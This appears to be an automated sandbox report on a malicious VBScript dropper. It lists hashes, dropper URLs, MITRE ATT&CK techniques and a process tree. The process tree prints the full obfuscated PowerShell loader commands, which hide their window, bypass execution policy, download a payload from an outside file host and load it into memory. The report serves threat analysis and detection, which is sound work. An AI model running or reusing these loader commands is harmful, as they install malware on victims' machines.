e3dadda28d21c40c06bcfd1163b6b7d170689976d69a66985fa309197fb49850

General

Target

e3dadda28d21c40c06bcfd1163b6b7d170689976d69a66985fa309197fb49850.vbs
Size

12KB
MD5

4e9b8807134dfb560b0eb3f0bf8705af
SHA1

086e955967a78b02bb006f3d2755dfc49c536990
SHA256

e3dadda28d21c40c06bcfd1163b6b7d170689976d69a66985fa309197fb49850
SHA512

62dc169e27636a9baee657969f0e678b582a6a4a4b595fb242b037be53ab70c410c241d2f3c0b22f64c1bf7ad429fabc6f2705042f43f53dabc13d0e1369e99b
SSDEEP

192:spKV/HwG/IUUtbeDQgGHOgy9w3Kjv3H03f7sbcS/7XQx74DGICrZOnips3SkvDA:fV4N//ICrZOnips3Sl

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Signatures

Blocklisted process makes network request 4 IoCs

Processes:

WScript.exepowershell.exe

flow	pid	Process
2	2800	WScript.exe
4	2800	WScript.exe
8	2608	powershell.exe
9	2608	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exe

pid	Process
2848	powershell.exe
2608	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	2	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	4	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid	Process
2848	powershell.exe
2608	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description	pid	Process
Token: SeDebugPrivilege	2848	powershell.exe
Token: SeDebugPrivilege	2608	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

WScript.exeWScript.exepowershell.exe

description	pid	Process	procid_target
PID 2308 wrote to memory of 2800	2308	WScript.exe	31
PID 2308 wrote to memory of 2800	2308	WScript.exe	31
PID 2308 wrote to memory of 2800	2308	WScript.exe	31
PID 2800 wrote to memory of 2848	2800	WScript.exe	32
PID 2800 wrote to memory of 2848	2800	WScript.exe	32
PID 2800 wrote to memory of 2848	2800	WScript.exe	32
PID 2848 wrote to memory of 2608	2848	powershell.exe	34
PID 2848 wrote to memory of 2608	2848	powershell.exe	34
PID 2848 wrote to memory of 2608	2848	powershell.exe	34

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\e3dadda28d21c40c06bcfd1163b6b7d170689976d69a66985fa309197fb49850.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2308
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\hxhxhhbaysvp.wsf"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of WriteProcessMemory
  PID:2800
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJGVudjpDb01TcEVDWzQsMTUsMjVdLWpPSW4nJykoKCdOdGZpbWFnZVVybCA9IHBlTmh0dHBzOi8nKycvMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXbycrJzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5USUNmRmhtVEtqM0xDNlNRdEljT2NfJysnVDM1dyZwa18nKyd2aWQ9ZmQ0ZjYxNGJiMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgcGVOO050ZndlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllJysnbnQ7TnRmaW1hZ2UnKydCeXRlcyA9IE50ZndlYkNsaWVudC5Eb3dubG9hZERhdGEoTnRmaW1hZ2VVcmwpO050ZmltYWdlVGV4dCA9IFtTeXN0ZW0uVGV4JysndC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKE50ZmltYWdlQnl0ZXMpO050ZnN0YXJ0RmxhZyA9IHBlTjwnKyc8QkFTRTY0X1NUQVJUPj5wZU47TnRmZW5kRmxhZyA9IHBlTjw8QicrJ0FTRTY0X0VORD4+cGVOO050ZnN0YXJ0SW5kZXggPSBOdGZpbWFnZVRleHQuSW5kZXhPZihOdGZzdGFydEZsYWcpO050ZmVuZEluZGV4ID0gTnRmaW1hZ2VUZXh0LkluZGV4T2YoTnRmJysnZW5kRmxhZyk7TicrJ3Rmc3RhcnRJbmRleCAtZ2UgMCAtYW5kIE50ZmVuZEluZGV4IC1ndCBOdGZzdGFydEluZGV4OycrJ050ZnN0YXJ0SScrJ25kZXggKz0gTnRmc3RhcnRGbGFnLkxlbmd0aDsnKydOdGZiYXNlNjRMZW5ndGggPSBOdGZlbmRJbmRleCAtIE50ZnN0YScrJ3J0SW5kZXg7TnRmYmFzZTY0Q29tbWEnKyduZCA9IE50ZmltYWdlVGV4dC4nKydTdWJzdHJpJysnbmcoTnRmc3RhcnQnKydJbmRleCwgTnRmYmFzZTY0TGVuZ3RoKTtOdGZiYXNlJysnNjRSZXZlcnNlZCA9IC1qb2luIChOdGZiJysnYXNlNjRDJysnb21tYW5kLlQnKydvQ2hhckFycmF5KCkgbUxoIEZvckVhY2gtT2JqZWN0IHsgTnRmXyB9KVstMS4uLShOdGZiYXNlJysnNjRDb20nKydtYW5kLkxlbmd0aCknKyddO050ZmNvbW1hbmRCeXRlcyA9JysnIFtTeXN0ZW0uQ29udmVydF0nKyc6OkZyb21CJysnYXNlNjRTdHJpbmcoTnRmYmFzZTY0UmV2ZXJzZWQpO050ZmxvYWRlZEFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChOdGZjb21tYW5kQnl0ZScrJ3MpOycrJ050ZnZhaU1ldGgnKydvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QocGVOVkFJcGVOKTtOdCcrJ2Z2YWlNZXRob2QuJysnSW52b2tlKE50Zm51bGwsIEAocGVOdHh0LkxTU1dTL2tsby91ZS5oc3Vwd3NyZWxsb3Iuc3VwLy86cHR0aHBlTicrJywgcGVOZGVzYScrJ3RpdmFkb3BlTiwgcGVOZGVzYXRpdmFkb3BlJysnTiwgcGVOZGVzYXRpJysndmFkb3BlTiwgcGVOZGVzYXRpdmFkb3BlTiwgcGVOMXBlTiwgcGVOZHhkaWFncGVOLCBwJysnZU5kZXNhdGl2YWRvcGVOLCBwZU5kZXNhdGl2YWRvcGVOLHBlJysnTmRlc2F0aXZhZG9wZU4scGVOZGVzYXRpdmFkb3BlTixwZU5kZXNhdGl2YWRvcGVOLHBlTjFwZU4scGVOZGVzYXRpdmFkb3BlTikpOycpLlJlcGxBQ0UoJ21MaCcsW3N0cmlOR11bQ2hhUl0xMjQpLlJlcGxBQ0UoKFtDaGFSXTExMitbQ2hhUl0xMDErW0NoYVJdNzgpLFtzdHJpTkddW0NoYVJdMzkpLlJlcGxBQ0UoKFtDaGFSXTc4K1tDaGFSXTExNitbQ2hhUl0xMDIpLFtzdHJpTkddW0NoYVJdMzYpKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2848
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $env:CoMSpEC[4,15,25]-jOIn'')(('NtfimageUrl = peNhttps:/'+'/1017.filemail.com/api/file/get?filekey=2Aa_bWo'+'9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_'+'T35w&pk_'+'vid=fd4f614bb209c62c1730945176a0904f peN;NtfwebClient = New-Object System.Net.WebClie'+'nt;Ntfimage'+'Bytes = NtfwebClient.DownloadData(NtfimageUrl);NtfimageText = [System.Tex'+'t.Encoding]::UTF8.GetString(NtfimageBytes);NtfstartFlag = peN<'+'<BASE64_START>>peN;NtfendFlag = peN<<B'+'ASE64_END>>peN;NtfstartIndex = NtfimageText.IndexOf(NtfstartFlag);NtfendIndex = NtfimageText.IndexOf(Ntf'+'endFlag);N'+'tfstartIndex -ge 0 -and NtfendIndex -gt NtfstartIndex;'+'NtfstartI'+'ndex += NtfstartFlag.Length;'+'Ntfbase64Length = NtfendIndex - Ntfsta'+'rtIndex;Ntfbase64Comma'+'nd = NtfimageText.'+'Substri'+'ng(Ntfstart'+'Index, Ntfbase64Length);Ntfbase'+'64Reversed = -join (Ntfb'+'ase64C'+'ommand.T'+'oCharArray() mLh ForEach-Object { Ntf_ })[-1..-(Ntfbase'+'64Com'+'mand.Length)'+'];NtfcommandBytes ='+' [System.Convert]'+'::FromB'+'ase64String(Ntfbase64Reversed);NtfloadedAssembly = [System.Reflection.Assembly]::Load(NtfcommandByte'+'s);'+'NtfvaiMeth'+'od = [dnlib.IO.Home].GetMethod(peNVAIpeN);Nt'+'fvaiMethod.'+'Invoke(Ntfnull, @(peNtxt.LSSWS/klo/ue.hsupwsrellor.sup//:ptthpeN'+', peNdesa'+'tivadopeN, peNdesativadope'+'N, peNdesati'+'vadopeN, peNdesativadopeN, peN1peN, peNdxdiagpeN, p'+'eNdesativadopeN, peNdesativadopeN,pe'+'NdesativadopeN,peNdesativadopeN,peNdesativadopeN,peN1peN,peNdesativadopeN));').ReplACE('mLh',[striNG][ChaR]124).ReplACE(([ChaR]112+[ChaR]101+[ChaR]78),[striNG][ChaR]39).ReplACE(([ChaR]78+[ChaR]116+[ChaR]102),[striNG][ChaR]36))"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2608

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\hxhxhhbaysvp.wsf

Filesize
1KB

MD5
7204c9eb7a0202a3eb5732158ac1e4a7

SHA1
b46404c81270dc41fe73c8b33503f08f4522c055

SHA256
6181ae6da5b4003eb057e75507fe7d91207a9ac255a0df96f4da7164f31d9a05

SHA512
bdaef419803778a1921ad3520e9680aebb2fb9f500db285f0985daadc9159e7a917f97a701c290e0e69aa9f12740bda0bc67707be88be2b0fe5d96366306880b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
62957cee536ae5f807d679e112fae1e1

SHA1
170c7a6f8b2c85efd118427414816db5b6f6bf33

SHA256
f5da8356a0e93dab762bfa570e0474435710802b0071764400c69880875f62e7

SHA512
a18c008954736d22b06a0aaadc60865a196d0eb117681aa053cf1c3da0cdea66d9311989a10a2e36333fc8abba6252c2cf77fd0b454e2f7bc974675480387094

Download Submit
memory/2848-7-0x000000001B600000-0x000000001B8E2000-memory.dmp

Filesize
2.9MB

Download
memory/2848-8-0x00000000023A0000-0x00000000023A8000-memory.dmp

Filesize
32KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads